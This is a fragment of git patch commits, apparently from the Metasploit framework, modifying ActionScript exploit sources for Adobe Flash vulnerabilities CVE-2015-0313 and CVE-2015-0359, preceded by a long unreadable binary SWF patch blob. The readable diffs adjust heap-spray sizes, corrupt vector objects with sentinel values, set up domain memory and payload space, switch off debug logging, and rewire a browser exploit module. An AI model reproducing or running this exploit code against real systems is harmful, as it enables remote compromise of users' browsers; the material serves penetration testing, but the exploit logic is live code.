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 ov[i][0] = 0xdeedbeef - ov[i][1] = 0xdeadbeef } - Logger.log("holes") for (i = 0; i < 70000; i += 2) { delete(ov[i]) } @@ -68,7 +65,6 @@ public class Exploit extends Sprite worker.setSharedProperty("mc", mc) worker.setSharedProperty("ba", ba) ApplicationDomain.currentDomain.domainMemory = ba - Logger.log('go') worker.start() } diff --git a/external/source/exploits/CVE-2015-0313/Exploiter.as b/external/source/exploits/CVE-2015-0313/Exploiter.as index ebbf9649fa..c34fab31f3 100644 --- a/external/source/exploits/CVE-2015-0313/Exploiter.as +++ b/external/source/exploits/CVE-2015-0313/Exploiter.as @@ -24,7 +24,7 @@ package private var payload_address:uint private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) - private var spray:Vector. = new Vector.(15000) + private var spray:Vector. = new Vector.(90000) public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void { @@ -54,18 +54,18 @@ package Logger.log("[*] Exploiter - spray_objects()") for (var i:uint = 0; i < spray.length; i++) { - spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) spray[i][0] = eba.ba - spray[i][1] = exploit - spray[i][2] = stack - spray[i][3] = payload_space + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space } } private function search_objects():uint { Logger.log("[*] Exploiter - search_objects()") - var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000) + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) return idx + 1 } diff --git a/external/source/exploits/CVE-2015-0313/Logger.as b/external/source/exploits/CVE-2015-0313/Logger.as index 61ec768c25..16c0447973 100644 --- a/external/source/exploits/CVE-2015-0313/Logger.as +++ b/external/source/exploits/CVE-2015-0313/Logger.as @@ -3,7 +3,7 @@ package import flash.external.ExternalInterface public class Logger { - private static const DEBUG:uint = 1 + private static const DEBUG:uint = 0 public static function alert(msg:String):void { From 0d2454de934be8d606b2ffc6765534ec098f0d3d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 12:27:52 -0500 Subject: [PATCH 0387/1013] Fix indentation --- external/source/exploits/CVE-2015-0313/Exploiter.as | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/external/source/exploits/CVE-2015-0313/Exploiter.as b/external/source/exploits/CVE-2015-0313/Exploiter.as index c34fab31f3..0a971409f6 100644 --- a/external/source/exploits/CVE-2015-0313/Exploiter.as +++ b/external/source/exploits/CVE-2015-0313/Exploiter.as @@ -55,7 +55,7 @@ package for (var i:uint = 0; i < spray.length; i++) { spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) - spray[i][0] = eba.ba + spray[i][0] = eba.ba spray[i][1] = exploit spray[i][2] = stack spray[i][3] = payload_space From 6c7ee105206d1a0eacf21c57bd9a2404760305f4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 13:50:43 -0500 Subject: [PATCH 0388/1013] Update to use the new flash Exploiter --- data/exploits/CVE-2015-0359/msf.swf | Bin 18236 -> 20979 bytes .../source/exploits/CVE-2015-0359/Exploit.as | 123 ++++++++ external/source/exploits/CVE-2015-0359/Msf.as | 264 ------------------ .../browser/adobe_flash_domain_memory_uaf.rb | 19 +- 4 files changed, 134 insertions(+), 272 deletions(-) create mode 100755 external/source/exploits/CVE-2015-0359/Exploit.as delete mode 100755 external/source/exploits/CVE-2015-0359/Msf.as diff --git a/data/exploits/CVE-2015-0359/msf.swf b/data/exploits/CVE-2015-0359/msf.swf index e7244c61f27d7c127efbf8b544cf6428964b6f95..cd880de1e3d5a4c6153860de72c8d9701a8bbbd4 100755 GIT binary patch delta 20861 zcmV(tKKM+vhWi}Ir13z3>QlrbC^ zmH5R67ArGYIC_jd$RaRq5KPigV@$?3FI{}k(zHBDtSQsci=~K!?@*99kJI?-CeOc9 z<1Pd1Tr{c^JK|7pl#(-^CmJ~Jl19L~JxMga8&s79K@LD-CgkvvuXG ze-!*mz=#ntoe7RT>Eb{nY0T%BH(r})O+Yo#SdA{{9{f42r-%fGk#83Dvc*+GyovNgH(Z|d!QCDR;> zXRJrls$F>n3ODegxh)I=W8My!1?Db;%mj)8>Bd$I2y^(#Zs7O0sERqjQ(Z|g$BV1s zh7cb#L9v$qEFy9mEzmcSUwi}ojOGJFUI6K3 zG9&1*NK`a10*gW4Js}{Y_jr{Lf5k@L_afQXWWlNJsPBGsK9HH0=Hg4VZhdsC3Mq!e zAT&Dm@59vQKLHa&*L0U2X`ibO9N$y&MXgCB6XrRwJcL+N2CB_o1|xExeSSasascuE*|e|4b2D-Pu* zd7Z$viF2c~uzhkf73p{qDur$TTP)unF08V3YMmk9I3I+|cJeJ`y_dVXXa0d}5E068 z$1tL{SF=pE(!(qn4q9u{LpgzE?M6a6)Oi~`sd##|pzBa^$B{0x(izjqR6qsXI= 